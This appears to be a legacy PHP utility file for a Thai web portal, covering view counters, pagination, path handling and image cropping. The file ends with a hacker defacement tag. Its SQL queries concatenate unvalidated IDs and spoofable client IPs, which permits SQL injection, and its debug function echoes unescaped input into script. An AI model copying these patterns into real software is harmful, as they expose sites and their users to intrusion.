return($myMonth . " " . $myYear);
}
###################################################
function member_displayname($member_id) {
####################################################
global $myModule_Member;
$sql = "SELECT ".$myModule_Member."_DisplayName FROM ".$myModule_Member." WHERE ".$myModule_Member."_ID=".$member_id;
$Query_Member = mysql_query($sql);
$Row_Member= mysql_fetch_array($Query_Member);
return $Row_Member[$myModule_Member."_DisplayName"];
}
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function encodeStr($variable) { # by Pu 2007-05-23
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
$key = "xitgmLwmp";
$index = 0;
$temp="";
$variable = str_replace("=","?O",$variable);
for($i=0; $i < strlen($variable); $i++)
{
$temp .= $variable{$i}.$key{$index};
$index++;
if($index >= strlen($key)) $index = 0;
}
$variable = strrev($temp);
$variable = base64_encode($variable);
$variable = utf8_encode($variable);
$variable = urlencode($variable);
$variable = str_rot13($variable);
return $variable;
}
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function decodeStr($enVariable) { # by Pu 2007-05-23
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
//decodeURL($_SERVER["QUERY_STRING"]);
$enVariable = str_rot13($enVariable);
$enVariable = urldecode($enVariable);
$enVariable = utf8_decode($enVariable);
$enVariable = base64_decode($enVariable);
$enVariable = strrev($enVariable);
$current = 0;
$temp="";
for($i=0; $i < strlen($enVariable); $i++)
{
if($current%2==0)
{
$temp .= $enVariable{$i};
}
$current++;
}
$temp = str_replace("?O","=",$temp);
parse_str($temp, $variable);
return $temp;
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function js3_pathUpload($subFolder=""){ #Add by Pu (2007-02-07)
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# ฟังก์นี้ ใช้สำหรับการอ้างถึง พาธ ต่างๆ ซึ่งหลังจากการทดสอบมาโดยตลอด มันใช้ได้
# จึงเอามาไว้ที่ฟังก์ชั่นหลัก โดยมีการ กำหนดตัวแปร Global เข้ามาด้วย คือ $modConfig จาก Mod นั้นๆ
# การใช้ตัวนี้จะ สร้าง พาธให้ หากไม่มี พาธ อยู่ในระบบ
$_SESSION[modConfig]="";
if(strlen($subFolder)>0) $subFolder.="/";
if(defined("_PATH_FRONT")){
$path=_PATH_FRONT."/".$subFolder;
}else{
$path=$modConfig["Path"]."/".$subFolder;
}
js3_setPathForReady($path);
return $path;
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function js3_setPathForReady($Path=""){ #Add by Pu (2007-02-28)
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
if($Path=="") return false;
$Path=js3_cleanPath($Path);
if(is_dir($Path)) return true;
/*
#++++++++++++++++++++++++++++ ตรวจจับการสร้าง โฟลเดอร์ ที่ผิดปกติ
$insert="";
$insert["save_path"] = "'".$Path."'";
$insert["save_datetime"] = "NOW()";
$sql="INSERT INTO savePath (".implode(",",array_keys($insert)).") VALUES (".implode(",",array_values($insert)).")";
js3_DBQuery_Execute($sql); */
#++++++++++++++++++++++++++++
$dir=explode("/" , $Path);
foreach($dir as $value)
{
$dir2.= $value;
if(!is_dir($dir2) && strlen($value) > 0) { mkdir($dir2,0777); } # วนลูปสร้าง path
$dir2.="/";
}
return true;
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function js3_cleanPath($path) { #Add by Pu (2007-06-29)
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# ทำหน้าที่ล้างพาธ ที่ผิดปกติให้เป็นไปตามปกติ เช่น [ .././../path/////to/file././index.php ]
# จะได้เป็น [ ../../path/to/file/index.php ]
$result = array();
$pathA = explode('/', $path);
if (!$pathA[0]) $result[] = '';
foreach ($pathA AS $key => $dir) {
if ($dir == '..') {
if (end($result) == '..') {
$result[] = '..';
} elseif (!array_pop($result)) {
$result[] = '..';
}
} elseif (($dir && $dir != '.') || $dir=='0') { # ต้องมีการบอกว่า เท่ากับ ศูนย์ เพระาว่า MenuID มีค่าเป็น 0 ก็มี
$result[] = $dir;
}
}
if (!end($pathA)) $result[] = '';
return implode('/', $result);
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function UTF8toiso8859_11($string) {
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
if ( ! ereg("[\241-\377]", $string) )
return $string;
$UTF8 = array(
"\xe0\xb8\x81" => "\xa1",
"\xe0\xb8\x82" => "\xa2",
"\xe0\xb8\x83" => "\xa3",
"\xe0\xb8\x84" => "\xa4",
"\xe0\xb8\x85" => "\xa5",
"\xe0\xb8\x86" => "\xa6",
"\xe0\xb8\x87" => "\xa7",
"\xe0\xb8\x88" => "\xa8",
"\xe0\xb8\x89" => "\xa9",
"\xe0\xb8\x8a" => "\xaa",
"\xe0\xb8\x8b" => "\xab",
"\xe0\xb8\x8c" => "\xac",
"\xe0\xb8\x8d" => "\xad",
"\xe0\xb8\x8e" => "\xae",
"\xe0\xb8\x8f" => "\xaf",
"\xe0\xb8\x90" => "\xb0",
"\xe0\xb8\x91" => "\xb1",
"\xe0\xb8\x92" => "\xb2",
"\xe0\xb8\x93" => "\xb3",
"\xe0\xb8\x94" => "\xb4",
"\xe0\xb8\x95" => "\xb5",
"\xe0\xb8\x96" => "\xb6",
"\xe0\xb8\x97" => "\xb7",
"\xe0\xb8\x98" => "\xb8",
"\xe0\xb8\x99" => "\xb9",
"\xe0\xb8\x9a" => "\xba",
"\xe0\xb8\x9b" => "\xbb",
"\xe0\xb8\x9c" => "\xbc",
"\xe0\xb8\x9d" => "\xbd",
"\xe0\xb8\x9e" => "\xbe",
"\xe0\xb8\x9f" => "\xbf",
"\xe0\xb8\xa0" => "\xc0",
"\xe0\xb8\xa1" => "\xc1",
"\xe0\xb8\xa2" => "\xc2",
"\xe0\xb8\xa3" => "\xc3",
"\xe0\xb8\xa4" => "\xc4",
"\xe0\xb8\xa5" => "\xc5",
"\xe0\xb8\xa6" => "\xc6",
"\xe0\xb8\xa7" => "\xc7",
"\xe0\xb8\xa8" => "\xc8",
"\xe0\xb8\xa9" => "\xc9",
"\xe0\xb8\xaa" => "\xca",
"\xe0\xb8\xab" => "\xcb",
"\xe0\xb8\xac" => "\xcc",
"\xe0\xb8\xad" => "\xcd",
"\xe0\xb8\xae" => "\xce",
"\xe0\xb8\xaf" => "\xcf",
"\xe0\xb8\xb0" => "\xd0",
"\xe0\xb8\xb1" => "\xd1",
"\xe0\xb8\xb2" => "\xd2",
"\xe0\xb8\xb3" => "\xd3",
"\xe0\xb8\xb4" => "\xd4",
"\xe0\xb8\xb5" => "\xd5",
"\xe0\xb8\xb6" => "\xd6",
"\xe0\xb8\xb7" => "\xd7",
"\xe0\xb8\xb8" => "\xd8",
"\xe0\xb8\xb9" => "\xd9",
"\xe0\xb8\xba" => "\xda",
"\xe0\xb8\xbf" => "\xdf",
"\xe0\xb9\x80" => "\xe0",
"\xe0\xb9\x81" => "\xe1",
"\xe0\xb9\x82" => "\xe2",
"\xe0\xb9\x83" => "\xe3",
"\xe0\xb9\x84" => "\xe4",
"\xe0\xb9\x85" => "\xe5",
"\xe0\xb9\x86" => "\xe6",
"\xe0\xb9\x87" => "\xe7",
"\xe0\xb9\x88" => "\xe8",
"\xe0\xb9\x89" => "\xe9",
"\xe0\xb9\x8a" => "\xea",
"\xe0\xb9\x8b" => "\xeb",
"\xe0\xb9\x8c" => "\xec",
"\xe0\xb9\x8d" => "\xed",
"\xe0\xb9\x8e" => "\xee",
"\xe0\xb9\x8f" => "\xef",
"\xe0\xb9\x90" => "\xf0",
"\xe0\xb9\x91" => "\xf1",
"\xe0\xb9\x92" => "\xf2",
"\xe0\xb9\x93" => "\xf3",
"\xe0\xb9\x94" => "\xf4",
"\xe0\xb9\x95" => "\xf5",
"\xe0\xb9\x96" => "\xf6",
"\xe0\xb9\x97" => "\xf7",
"\xe0\xb9\x98" => "\xf8",
"\xe0\xb9\x99" => "\xf9",
"\xe0\xb9\x9a" => "\xfa",
"\xe0\xb9\x9b" => "\xfb",
);
$string=strtr($string,$UTF8);
return $string;
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function js3_saveHtmlFile($myFile){ #Add by Pu (2007-01-24)
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# $myFile เป็น Array เพื่อง่ายในการกำหนดข้อมูล ในตอนเรียกใช้
if($myFile["filename"])
{
$myFilename=$myFile["filename"];
$delFile = $myFile["path"]."/".$myFilename;
if(file_exists($delFile) && is_file($delFile)) { unlink($delFile); }
}
$myrand = md5($myFile["contents"] . rand(1111,9999));
$myFilename = $myFile["menuID"]."-".$myrand.".html";
$myFile["contents"]=stripslashes($myFile["contents"]);
$fp = fopen ($myFile["path"].$myFilename, "w+");
fwrite($fp,$myFile["contents"]);
fclose($fp);
return $myFilename;
}
####################################################
function blog_countview($blog_id) {
####################################################
global $myModule_Blog_ChkCount,$myModule_Blog,$REMOTE_ADDR;
$sql = "DELETE FROM ".$myModule_Blog_ChkCount." WHERE Substring(".$myModule_Blog_ChkCount."_CreateDate,1,10) < Curdate()";
$Query = mysql_query($sql);
$sql="SELECT count(*) FROM ".$myModule_Blog_ChkCount." WHERE ".$myModule_Blog_ChkCount."_BlogID=".$blog_id." AND ".$myModule_Blog_ChkCount."_IP='$REMOTE_ADDR'";
$query_countboard=mysql_query($sql);
$row_countboard=mysql_fetch_row($query_countboard);
if($row_countboard[0]==0){
$sql="UPDATE ".$myModule_Blog." SET ".
$myModule_Blog."_ViewCount=".$myModule_Blog."_ViewCount+1,".
$myModule_Blog."_ViewThisDay=".$myModule_Blog."_ViewThisDay+1,".
$myModule_Blog."_ViewThisWeek=".$myModule_Blog."_ViewThisWeek+1,".
$myModule_Blog."_ViewThisMonth=".$myModule_Blog."_ViewThisMonth+1,".
$myModule_Blog."_ViewThisYear=".$myModule_Blog."_ViewThisYear+1".
" WHERE ".$myModule_Blog."_ID=".$blog_id;
$query_addcount=mysql_query($sql);
$sql="INSERT INTO ".$myModule_Blog_ChkCount." ( ".
$myModule_Blog_ChkCount."_BlogID,".
$myModule_Blog_ChkCount."_IP,".
$myModule_Blog_ChkCount."_CreateDate".
") VALUES ('$blog_id','$REMOTE_ADDR',Now())";
$query_add=mysql_query($sql);
}
}
####################################################
function ShowThumbnail($member_id) {
####################################################
global $myModule_Member;
$sql="SELECT ".$myModule_Member."_ThumbnailPhoto FROM ".$myModule_Member." WHERE ".$myModule_Member."_ID=".$member_id;
$query_thumb=mysql_query($sql);
$row_thumb=mysql_fetch_array($query_thumb);
if(trim($row_thumb[$myModule_Member."_ThumbnailPhoto"])=="") {
return "nopic.gif";
} else {
return $row_thumb[$myModule_Member."_ThumbnailPhoto"];
}
}
####################################################
function datetimediff($date_time1,$date_time2,$result_type) {
####################################################
// function ?????????????????? 2 ???????
// ???????? $date_time1 ??????? "0000-00-00 00:00:00" date(Y-m-d)
// ???????? $date_time2 ??????? "0000-00-00 00:00:00"
// ???????? $result_type ??????? "y", "m" , "w" , "d" , "h" , "n" , "s"
$date_time_arr = explode(" ",$date_time1);
$date_arr = explode("-",$date_time_arr[0]);
$time_arr = explode(":",$date_time_arr[1]);
$sectime1 = mktime($time_arr[0],$time_arr[1],$time_arr[2],$date_arr[1],$date_arr[2],$date_arr[0]);
$date_time_arr = explode(" ",$date_time2);
$date_arr = explode("-",$date_time_arr[0]);
$time_arr = explode(":",$date_time_arr[1]);
$sectime2 = mktime($time_arr[0],$time_arr[1],$time_arr[2],$date_arr[1],$date_arr[2],$date_arr[0]);
if ($sectime2>$sectime1) $timedifference = $sectime2 - $sectime1;
else $timedifference = $sectime1 - $sectime2;
switch ($result_type) {
case 'y' : { // ?????????????????????????????????? (????????? 1 ?? ?? 365 ???)
$retval = bcdiv($timedifference,31536000);
break;
}
case 'm' : { // ????????????????????????????????????? (????????? 1 ????? ?? 30 ???)
$retval = bcdiv($timedifference,2592000);
break;
}
case 'w' : { // ???????????????????????????????????????
$retval = bcdiv($timedifference,604800);
break;
}
case 'd' : { // ???????????????????????????????????
$retval = bcdiv($timedifference,86400);
break;
}
case 'h' : { // ??????????????????????????????????????
$retval =bcdiv($timedifference,3600);
break;
}
case 'n' : { // ????????????????????????????????????
$retval = bcdiv($timedifference,60);
break;
}
case 's' : { // ??????????????????????????????????????
$retval = $timedifference;
break;
}
}
return $retval;
}
####################################################
####################################################
function countphoto($photo_id) {
####################################################
global $myModule_Album_ChkCountPhoto,$myModule_Album_Photo,$REMOTE_ADDR;
$sql = "DELETE FROM ".$myModule_Album_ChkCountPhoto." WHERE Substring(".$myModule_Album_ChkCountPhoto."_CreateDate,1,10) < Curdate()";
$Query = mysql_query($sql);
$sql="SELECT count(*) FROM ".$myModule_Album_ChkCountPhoto." WHERE ".$myModule_Album_ChkCountPhoto."_PhotoID=".$photo_id." AND ".$myModule_Album_ChkCountPhoto."_IP='$REMOTE_ADDR'";
$query_counphoto=mysql_query($sql);
$row_counphoto=mysql_fetch_row($query_counphoto);
if($row_counphoto[0]==0){
$sql="UPDATE ".$myModule_Album_Photo." SET ".$myModule_Album_Photo."_ViewCount=".$myModule_Album_Photo."_ViewCount+1 WHERE ".$myModule_Album_Photo."_ID=".$photo_id;
$query_addcount=mysql_query($sql);
$sql="INSERT INTO ".$myModule_Album_ChkCountPhoto." ( ".
$myModule_Album_ChkCountPhoto."_PhotoID,".
$myModule_Album_ChkCountPhoto."_IP,".
$myModule_Album_ChkCountPhoto."_CreateDate".
") VALUES ('$photo_id','$REMOTE_ADDR',Now())";
$query_add=mysql_query($sql);
}
}
#############################################
function PathforSearch($Key) {
#############################################
// ฟังก์ชั่นสำหรับแยก path ของ Key ต่างๆของ Search All Site
if($Key=="new1") {
return "home/hotnews-detail.php?topic=";
} else if($Key=="news1") {
return "home/analyst.php?topic=";
} else if($Key=="news2") {
return "home/signals.php?topic=";
} else if($Key=="news3") {
return "research/detail.php?Menu=AnalistListing&topic=";
}
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function home_getInfoPage($currentPage, $recordCountTotal, $pageSize=1) { # เพิ่มโดย พีกับยู
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
$totalPage=(($recordCountTotal%$pageSize)==0) ? floor($recordCountTotal/$pageSize) : ceil($recordCountTotal/$pageSize);
$objReturn->currentPage=$currentPage;
$objReturn->totalPage=$totalPage;
$objReturn->toBack=0;
$objReturn->toNext=0;
if($objReturn->totalPage < $objReturn->currentPage) $objReturn->currentPage=$objReturn->totalPage;
if(($currentPage <= $totalPage && $currentPage > 1) || ($currentPage < $totalPage))
{
if($currentPage <= $totalPage && $currentPage > 1)
{
$objReturn->toBack=$currentPage-1;
}
if($currentPage < $totalPage)
{
$objReturn->toNext=$currentPage+1;
}
return $objReturn;
}
else
return $objReturn;
}
#######################################################################################
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function js3_DBQuery($sql,$page=0,$pagesize=0) {
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
if($pagesize=="") { $pagesize = _SYSTEM_LIST_PAGESIZE_; }
global $QUERY_COUNTER, $COMMAND;
# include("connect.php"); # ปิดไว้หลังได้ข้อสรุปกันมา
# $Query=MYSQL_DB_QUERY(_SYSTEM_DB_NAME_ , $sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br><br>ผิดพลาด : \n".mysql_error());
$sql_count=js3_setSQLCount($sql); # เปลี่ยนคำสั่ง เป็น SELECT COUNT(*) FROM
if($sql_count=="NONE")
{
return js3_DBQuery_Execute($sql);
}
else
{
# ++++++++++++นับจำนวนแบบ SELECT COUNT++++++++++++++
$Query=MYSQL_QUERY($sql_count);
$QUERY_COUNTER++;
js3_countSQLCommand($sql);
$myNumRow=mysql_num_rows($Query);
if($myNumRow>1)
{
$myDataObject->RecordCountTotal = $myNumRow;
}
else
{
$TotalRecordCount=MYSQL_FETCH_ARRAY($Query);
if(count($TotalRecordCount) <= 2)
$myDataObject->RecordCountTotal = $TotalRecordCount[0];
else
$myDataObject->RecordCountTotal = $myNumRow;
}
# +++++++++++++++++++++++++++++++++++++++++++++++++++
$NoOfPage=($myDataObject->RecordCountTotal>$pagesize)?ceil($myDataObject->RecordCountTotal/$pagesize):1;
if($page>$NoOfPage) { $page=$NoOfPage; }
$myDataObject->NoOfPage = $NoOfPage;
$myDataObject->page = $page;
if($page>0 && $pagesize>0) {
$recstart = ($page-1)*$pagesize;
$sql .= " LIMIT $recstart,$pagesize ";
}
$Query=MYSQL_QUERY($sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br><br>ผิดพลาด : \n".mysql_error());
$QUERY_COUNTER++;
js3_countSQLCommand($sql);
$myDataObject->RecordCount = MYSQL_NUMROWS($Query);
$index=0;
while($Data=MYSQL_FETCH_ARRAY($Query)) {
$Record[$index++]=$Data;
}
$myDataObject->Query = $Record;
# include("disconnect.php"); # ปิดไว้หลังได้ข้อสรุปกันมา
return $myDataObject;
} # ปิดการตรวจสอบ ว่าคำสั่งที่ส่งมา เป็น SELECT หรือเปล่า
}
function js3_DBgetNumRowsTotal($dataObject) { return $dataObject->RecordCountTotal; }
function js3_DBgetNumRows($dataObject) { return $dataObject->RecordCount; }
function js3_DBgetQueryArray($dataObject) { return $dataObject->Query; }
function js3_DBgetPageNow($dataObject) { return $dataObject->page; }
function js3_DBgetNoOfPage($dataObject) { return $dataObject->NoOfPage; }
###########################################
function js3_setSQLCount($mySqlCommand)
###########################################
{
//include("connect.php"); # ปิดไว้หลังได้ข้อสรุปกันมา
$mySqlCommand=trim($mySqlCommand);
if(eregi("DISTINCT", $mySqlCommand))
{
$mySqlCommand=$mySqlCommand;
}
else{
if(strtoupper(substr($mySqlCommand, 0, 6))=="SELECT")
{
$dataInsert="SELECT COUNT(*) ";
$pos=strpos(strtoupper($mySqlCommand), "FROM");
$mySqlCommand=$dataInsert.substr($mySqlCommand, $pos);
//echo $mySqlCommand;
}
else
{
return "NONE";
}
}
return $mySqlCommand;
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function js3_DBQuery_filesharer($sql,$page=0,$pagesize=0) {
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
if($pagesize=="") { $pagesize = _SYSTEM_LIST_PAGESIZE_; }
global $QUERY_COUNTER;
include("connect.php");
$Query=MYSQL_DB_QUERY(_SYSTEM_DB_NAME_ , $sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br><br>ผิดพลาด : \n".mysql_error());
$QUERY_COUNTER++;
$TotalRecordCount = MYSQL_NUMROWS($Query);
$myDataObject->RecordCountTotal = $TotalRecordCount;
if($TotalRecordCount>$pagesize) {
$NoOfPage= ceil($TotalRecordCount/$pagesize);
} else {
$NoOfPage=1;
}
if($page>$NoOfPage) { $page=$NoOfPage; }
$myDataObject->NoOfPage = $NoOfPage;
$myDataObject->page = $page;
if($page>0 && $pagesize>0) {
$recstart = ($page-1)*$pagesize;
$sql .= " LIMIT $recstart,$pagesize ";
}
$Query=MYSQL_DB_QUERY(_SYSTEM_DB_NAME_,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br><br>ผิดพลาด : \n".mysql_error());
$QUERY_COUNTER++;
$myDataObject->RecordCount = MYSQL_NUMROWS($Query);
$index=0;
while($Data=MYSQL_FETCH_ARRAY($Query)) {
$Record[$index++]=$Data;
}
$myDataObject->Query = $Record;
include("disconnect.php");
return $myDataObject;
}
function js3_countSQLCommand($mySqlCommand="")
{
global $COMMAND;
$mySqlCommand=strtoupper($mySqlCommand);
if(eregi("SELECT", $mySqlCommand)) $COMMAND["SELECT"]++;
else if(eregi("INSERT", $mySqlCommand)) $COMMAND["INSERT"]++;
else if(eregi("UPDATE", $mySqlCommand)) $COMMAND["UPDATE"]++;
else if(eregi("DELETE", $mySqlCommand)) $COMMAND["DELETE"]++;
js3_saveSQLpreview($mySqlCommand);
}
function js3_saveSQLpreview($sql)
{
if(js3_getIP()=="58.64.78.29"){
$contents=file_get_contents(js3_getIP().".txt");
$fpTemp=fopen(js3_getIP().".txt","w");
fwrite($fpTemp, $contents.$sql."\r\n");
fclose($fpTemp);
}
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function js3_getIP() { #Add by Pu (2007-07-03)
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# ฟังก์ชั่นการ ดึงเอา IP จริง ออกมา
if (isset($_SERVER))
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && js3_getValidIP($_SERVER['HTTP_X_FORWARDED_FOR']))
$IP = $_SERVER['HTTP_X_FORWARDED_FOR'];
elseif (isset($_SERVER['HTTP_CLIENT_IP']) && js3_getValidIP($_SERVER['HTTP_CLIENT_IP']))
$IP = $_SERVER['HTTP_CLIENT_IP'];
else
$IP = $_SERVER['REMOTE_ADDR'];
}
else
{
if (getenv('HTTP_X_FORWARDED_FOR') && js3_getValidIP(getenv('HTTP_X_FORWARDED_FOR')))
$IP = getenv('HTTP_X_FORWARDED_FOR');
elseif (getenv('HTTP_CLIENT_IP') && js3_getValidIP(getenv('HTTP_CLIENT_IP')))
$IP = getenv('HTTP_CLIENT_IP');
else
$IP = getenv('REMOTE_ADDR');
}
return $IP;
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function home_showPageList($currentPage , $recordCountTotal , $pageSize=10, $filename="page")
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
{
$pageSpace=3;
if($currentPage<1) return;
$totalPage=(($recordCountTotal%$pageSize)==0) ? floor($recordCountTotal/$pageSize) : ceil($recordCountTotal/$pageSize);
if($currentPage>$totalPage) return;
$myEndPage=(($currentPage+($pageSpace/2)) > $totalPage) ? $totalPage : floor($currentPage+($pageSpace/2));
if(($myEndPage-($pageSpace-1)) > 0)
$myBeginPage=$myEndPage-($pageSpace-1);
else
{
$myBeginPage=1;
$myEndPage=($myBeginPage+($pageSpace-1) > $totalPage) ? $totalPage : $myBeginPage+($pageSpace-1);
}
if($myBeginPage==$myEndPage) { echo " "; return; }
for($Loop=$myBeginPage; $Loop<=$myEndPage; $Loop++)
{
if($Loop==$currentPage)
$arrayList[]="<b>$currentPage</b>";
else
$arrayList[]="$Loop";
}
echo implode(" | ", $arrayList);
}
//---------------------------------------
function cropImage($imagesource,$nw, $nh) {
//---------------------------------------
$ImageData = getimagesize($imagesource);
if($ImageData[2]==1) {
$simg = imagecreatefromgif($imagesource);
} elseif($ImageData[2]==2) {
$simg = imagecreatefromjpeg($imagesource);
}else{
$simg = imagecreatefromjpeg($imagesource);
}
$w = imagesx($simg);
$h = imagesy($simg);
$dimg = imagecreatetruecolor($nw, $nh);
$wm = $w/$nw;
$hm = $h/$nh;
$h_height = $nh/2;
$w_height = $nw/2;
if($w> $h) {
$adjusted_width = $w / $hm;
$half_width = $adjusted_width / 2;
$int_width = $half_width - $w_height;
imagecopyresampled($dimg,$simg,-$int_width,0,0,0,$adjusted_width,$nh,$w,$h);
} elseif(($w <$h) || ($w == $h)) {
$adjusted_height = $h / $wm;
$half_height = $adjusted_height / 2;
$int_height = $half_height - $h_height;
imagecopyresampled($dimg,$simg,0,-$int_height,0,0,$nw,$adjusted_height,$w,$h);
} else {
imagecopyresampled($dimg,$simg,0,0,0,0,$nw,$nh,$w,$h);
}
return $dimg;
}
function countalbum($album_id) {
####################################################
global $myModule_Album_ChkCountAlbum,$myModule_Album,$REMOTE_ADDR,$MemberID;
$sql = "DELETE FROM ".$myModule_Album_ChkCountAlbum." WHERE Substring(".$myModule_Album_ChkCountAlbum."_CreateDate,1,10) < Curdate()";
$Query = mysql_query($sql);
if ($album_id>0) {
$sql="SELECT Count(*) FROM ".$myModule_Album_ChkCountAlbum." WHERE ".$myModule_Album_ChkCountAlbum."_AlbumID=".$album_id." AND ".$myModule_Album_ChkCountAlbum."_IP='$REMOTE_ADDR'";
$query_countalbum=mysql_query($sql);
$row_countalbum=mysql_fetch_row($query_countalbum);
if($row_countalbum[0]==0){
$sql="UPDATE ".$myModule_Album." SET ".$myModule_Album."_ViewCount=".$myModule_Album."_ViewCount+1 WHERE ".$myModule_Album."_ID=".$album_id;
$query_addcount=mysql_query($sql);
$sql="INSERT INTO ".$myModule_Album_ChkCountAlbum." ( ".
$myModule_Album_ChkCountAlbum."_AlbumID,".
$myModule_Album_ChkCountAlbum."_IP,".
$myModule_Album_ChkCountAlbum."_CreateDate".
") VALUES ('$album_id','$REMOTE_ADDR',Now())";
$query_add=mysql_query($sql);
}
} else {
if ($MemberID>0) {
$sql = "SELECT ".$myModule_Album."_ID FROM ".$myModule_Album." WHERE ".$myModule_Album."_MemberID=".$MemberID;
$Query_Album = mysql_query($sql);
while ($Row_Album = mysql_fetch_row($Query_Album)) {
$album_id = $Row_Album[0];
$sql="SELECT Count(*) FROM ".$myModule_Album_ChkCountAlbum." WHERE ".$myModule_Album_ChkCountAlbum."_AlbumID=".$album_id." AND ".$myModule_Album_ChkCountAlbum."_IP='$REMOTE_ADDR'";
$query_countalbum=mysql_query($sql);
$row_countalbum=mysql_fetch_row($query_countalbum);
if($row_countalbum[0]==0){
$sql="UPDATE ".$myModule_Album." SET ".$myModule_Album."_ViewCount=".$myModule_Album."_ViewCount+1 WHERE ".$myModule_Album."_ID=".$album_id;
$query_addcount=mysql_query($sql);
$sql="INSERT INTO ".$myModule_Album_ChkCountAlbum." ( ".
$myModule_Album_ChkCountAlbum."_AlbumID,".
$myModule_Album_ChkCountAlbum."_IP,".
$myModule_Album_ChkCountAlbum."_CreateDate".
") VALUES ('$album_id','$REMOTE_ADDR',Now())";
$query_add=mysql_query($sql);
}
}
}
}
}
####################################################
function member_countview($member_id) {
####################################################
global $myModule_Member_ChkCount,$myModule_Member,$REMOTE_ADDR;
$sql = "DELETE FROM ".$myModule_Member_ChkCount." WHERE ".$myModule_Member_ChkCount."_CreateDate < Curdate() ";
$Query = mysql_query($sql);
$sql="SELECT count(*) FROM ".$myModule_Member_ChkCount." WHERE ".$myModule_Member_ChkCount."_MemberID=".$member_id." AND ".$myModule_Member_ChkCount."_IP='$REMOTE_ADDR'";
$query_countboard=mysql_query($sql);
$row_countboard=mysql_fetch_row($query_countboard);
if($row_countboard[0]==0){
$sql="UPDATE ".$myModule_Member." SET ".
$myModule_Member."_ViewCount=".$myModule_Member."_ViewCount+1,".
$myModule_Member."_ViewThisDay=".$myModule_Member."_ViewThisDay+1,".
$myModule_Member."_ViewThisWeek=".$myModule_Member."_ViewThisWeek+1,".
$myModule_Member."_ViewThisMonth=".$myModule_Member."_ViewThisMonth+1,".
$myModule_Member."_ViewThisYear=".$myModule_Member."_ViewThisYear+1".
" WHERE ".$myModule_Member."_ID=".$member_id;
$query_addcount=mysql_query($sql);
$sql="INSERT INTO ".$myModule_Member_ChkCount." ( ".
$myModule_Member_ChkCount."_MemberID,".
$myModule_Member_ChkCount."_IP,".
$myModule_Member_ChkCount."_CreateDate".
") VALUES ('$member_id','$REMOTE_ADDR',Now())";
$query_add=mysql_query($sql);
}
}
####################################################
function news_countview($news_id) {
####################################################
global $myModule_Table_ChkCount,$myModule_Table,$REMOTE_ADDR;
$sql = "DELETE FROM ".$myModule_Table_ChkCount." WHERE Substring(".$myModule_Table_ChkCount."_CreateDate,1,10) < Curdate()";
$Query = mysql_query($sql);
$sql="SELECT count(*) FROM ".$myModule_Table_ChkCount." WHERE ".$myModule_Table_ChkCount."_NewsID=".$news_id." AND ".$myModule_Table_ChkCount."_IP='$REMOTE_ADDR'";
$query_countboard=mysql_query($sql);
$row_countboard=mysql_fetch_row($query_countboard);
if($row_countboard[0]==0){
$sql="UPDATE ".$myModule_Table." SET ".
$myModule_Table."_ViewCount=".$myModule_Table."_ViewCount+1,".
$myModule_Table."_ViewThisDay=".$myModule_Table."_ViewThisDay+1,".
$myModule_Table."_ViewThisWeek=".$myModule_Table."_ViewThisWeek+1,".
$myModule_Table."_ViewThisMonth=".$myModule_Table."_ViewThisMonth+1,".
$myModule_Table."_ViewThisYear=".$myModule_Table."_ViewThisYear+1".
" WHERE ".$myModule_Table."_ID=".$news_id;
$query_addcount=mysql_query($sql);
$sql="INSERT INTO ".$myModule_Table_ChkCount." ( ".
$myModule_Table_ChkCount."_NewsID,".
$myModule_Table_ChkCount."_IP,".
$myModule_Table_ChkCount."_CreateDate".
") VALUES ('$news_id','$REMOTE_ADDR',Now())";
$query_add=mysql_query($sql);
}
}
##### ฟังก์ชันดีบักเอาไว้เช็คค่า Alert ที่ต้องให้การแสดง #############
function debug($str){
echo"<script>alert('$str');</script>";
}
?>
Hacked By AnonymousFox1.0, Coded By AnonymousFox